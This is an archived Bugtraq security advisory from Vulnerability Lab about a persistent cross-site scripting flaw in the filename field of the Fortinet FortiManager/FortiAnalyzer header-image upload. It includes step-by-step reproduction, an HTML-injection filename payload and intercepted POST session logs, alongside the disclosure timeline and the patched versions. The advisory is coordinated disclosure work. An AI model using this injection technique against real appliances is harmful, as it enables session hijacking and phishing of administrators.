Bugtraq mailing list archives

Fortinet FortiManager & FortiAnalyzer - (filename) Persistent Web Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 1 Aug 2016 11:28:47 +0200

Document Title:
===============
Fortinet FortiManager & FortiAnalyzer - (filename) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1687

Fortinet PSIRT ID: 1624561

Release Notes #1: http://docs.fortinet.com/uploaded/files/2796/fortios-5.4.0-release-notes.pdf
Release Notes #2: http://docs.fortinet.com/uploaded/files/2861/fortios-v5.2.6-release-notes.pdf
Release Notes #3: http://docs.fortinet.com/uploaded/files/2499/fortios-5.0.12-release-notes.pdf


Release Date:
=============
2016-08-01


Vulnerability Laboratory ID (VL-ID):
====================================
1687


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
FortiManager appliances allow you to centrally manage any number of Fortinet devices, from several to thousands, 
including FortiGate®, FortiWiFi™, 
FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, as well as FortiClient™ endpoint 
security agents. You can further 
simplify control and management of large deployments by grouping devices and agents into administrative domains (ADOMs).

The FortiManager family of management appliances provides centralized policy-based provisioning, device configuration, 
and update management for 
FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point security agents, plus end-to-end network 
monitoring and device control. 
FortiManager delivers a lower TCO for Fortinet implementations by minimizing both initial deployment costs and ongoing 
operating expenses. Control 
administrative access and simplify policy deployment using role-based administration to define user privileges for 
specific management domains and 
functions, and aggregating collections of Fortinet appliances and agents into independent management domains. In 
addition, by locally hosting security 
content updates for managed devices and agents, FortiManager appliances minimize Web filtering rating request response 
time and maximize network protection.

(Copy of the Vendor Homepage:  http://www.avfirewalls.com/FortiManager-Series.asp )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a persistent web validation vulnerability in the official 
Fotinet FortiManager and FortiAnalyzer appliance product series.


Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Marco Onorati - Evolution Security GmbH)
2016-01-26: Vendor Notification (FortiGuard Security Team)
2016-02-10: Vendor Response/Feedback (FortiGuard Security Team)
2016-02-17: Vendor Fix/Patch #1 (Fortinet Service Developer Team)
2016-05-08: Vendor Fix/Patch #2 (Fortinet Service Developer Team)
2016-08-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiManager - Appliance (Web-Application) 200D,  300D, 1000D,  3900E, 4000E, Virtual Appliances Versio

Fortinet
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 400B, 400C, 1000C, 3000C & 4000

Fortinet
Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D, 2000D, 3000E, 3500E, 3900E, VM Base & VM 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability and filter bypass issue has been discovered in the official Fotinet 
FortiManager and FortiAnalyzer appliance product series.
The application-side web vulnerability allows remote attackers to inject own malicious script codes on the 
application-side of the affected modules context.

The vulnerability is located in the `filename` value of the ` Layout Header [Header Image]` module. Remote attackers 
with low privileged web-application user accounts 
are able to inject own malicious script codes on the application-side of the affected ` Advanced Settings - Advanced 
Settings - Layout Header` module. The request method 
to inject is POST and the issue is located on the application-side of the fortimanager/fortianalyzer appliance 
web-application.

The security risk of the client-side cross site scripting web vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.7. 
Exploitation of the application-side web vulnerability requires no privileged web-application user account and low or 
medium user interaction. Successful exploitation 
of the vulnerability results in persistent phishing, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected 
or connected web module context.


Request Method(s):
                                        [+] POST

Vulnerable Module(s):
                                        [+] /report/graphic/upload/

Vulnerable Parameter(s):
                                        [+] filename

Affected Serie(s): FortiManager
                                        [+] FortiManager 200D
                                        [+] FortiManager 300D
                                        [+] FortiManager 1000D
                                        [+] FortiManager 3900E
                                        [+] FortiManager-4000E
                                        [+] FortiManager Virtual Appliances
                                        [+] FortiMoM-VM

FortiManager Legacy Models
                                        [+] FortiManager 100
                                        [+] FortiManager 100C
                                        [+] FortiManager 400A
                                        [+] FortiManager 400B
                                        [+] FortiManager 400C
                                        [+] FortiManager 1000C
                                        [+] FortiManager 3000C
                                        [+] FortiManager 4000D

Affected Serie(s):  FortiAnalyzer
                                        [+] FortiAnalyzer 200D
                                        [+] FortiAnalyzer 300D
                                        [+] FortiAnalyzer 1000D
                                        [+] FortiAnalyzer 2000B
                                        [+] FortiAnalyzer 3000E
                                        [+] FortiAnalyzer 3500E
                                        [+] FortiAnalyzer 3900E
                                        [+] FortiAnalyzer VM Base
                                        [+] FortiAnalyzer VM GB1
                                        [+] FortiAnalyzer VM GB5
                                        [+] FortiAnalyzer VM GB25
                                        [+] FortiAnalyzer VM GB100
                                        [+] FortiAnalyzer VM GB500
                                        [+] FortiAnalyzer VM GB2000


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local low privileged web-application user 
accounts and low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


Manual steps to reproduce the vulnerability ...
1. Login to the Fortinet FortiManager appliance web-application
2. Open the following module Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout 
Header
3. Scroll to the layout header section
4. Start a session tamper to intercept the http protocol communication
5. Choose a random file and perform the upload
6. Change with the live session tamper the filename value of the logo to a script code payload
7. Wait since the upload has been performed and click next to the upload input field
8. The script code executes were the filename is normally visible next to the upload via submit
9. Successful reproduce of the vulnerability!

Note: There could be other sections that are affected after the inject were the logo image is displayed finally!


PoC: (Source) Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header [Header 
Image] (filename)
PoC: Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header [Header Image] 
(filename)
 <td id="yui_3_5_0_1_1453826860703_2595"><input value="{user_img_path}/"><"<img src="x">%20%20>"<[PERSISTENT INJECTED 
SCRIPT CODE VIA FILENAME!]>2.png" 
name="header-image" type="hidden"><button id="yui_3_5_0_1_1453826860703_2594" type="button">Choose...</button>
<span>"><"<img src="x">%20%20>"<iframe src="a">%20<iframe>2.png</iframe></span></td>
</tr>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://localhost:8080/p/report/graphic/upload/ 
Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Referer[https://localhost:8080/p/report/graphic/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
        CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==; 
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------2152057857037
Content-Disposition: form-data; name="csrfmiddlewaretoken"
0658038790fd19a3e4c13d8e92b7dccc
-----------------------------2152057857037
Content-Disposition: form-data; name="graphic_upload"; filename=""><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE 
INJECT!]>2.png"
Content-Type: image/png
-
Status: 200[OK]
GET https://localhost:8080/p/jsi18n/proj.report/ 
Mime Type[text/javascript]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
        CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==; 
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:00 GMT]
      Server[Apache]
      Connection[Keep-Alive]
      Content-Type[text/javascript]
-
Status: 200[OK]
GET https://localhost:8080/p/report/graphic/list/ 
Mime Type[application/json]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      X-Requested-With[XMLHttpRequest]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
        CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==; 
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:02 GMT]
      Server[Apache]
      Keep-Alive[timeout=30, max=167]
      Connection[Keep-Alive]
      Content-Type[application/json; charset=UTF-8]
-
Status: 200[OK]
GET https://localhost:8080/faz_upload/%22";><"<img src="x">%20%20>"<[PERSISTENT SCRIPT CODE EXECUTE!]>%3E2.png 
Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; 
        CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==; 
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:03 GMT]
      Server[Apache]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
https://localhost:8080/
https://localhost:8080/p/
https://localhost:8080/p/report/
https://localhost:8080/p/jsi18n/
https://localhost:8080/faz_upload/
https://localhost:8080/p/report/graphic/
https://localhost:8080/p/jsi18n/proj.report/
https://localhost:8080/p/report/graphic/list/
https://localhost:8080/p/report/graphic/upload/


Solution - Fix & Patch:
=======================
Customers can download the update version by automated updates in the appliances or by manual interaction with the 
product service panel.

Updates available in the following versions ...
5.4.0
5.2.6
5.0.12 (TBD)
5.0.12 (FMG) 
5.0.13 (FAZ)
5.2.6
5.4.0


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the filename value of the logo upload 
function is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Marco Onorati 
(http://www.vulnerability-lab.com/show.php?user=Marco%20Onorati)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or 
its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special 
damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody 
to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                     - admin () 
evolution-sec com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit 
our material contact 
(admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.

                                Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com



Current thread: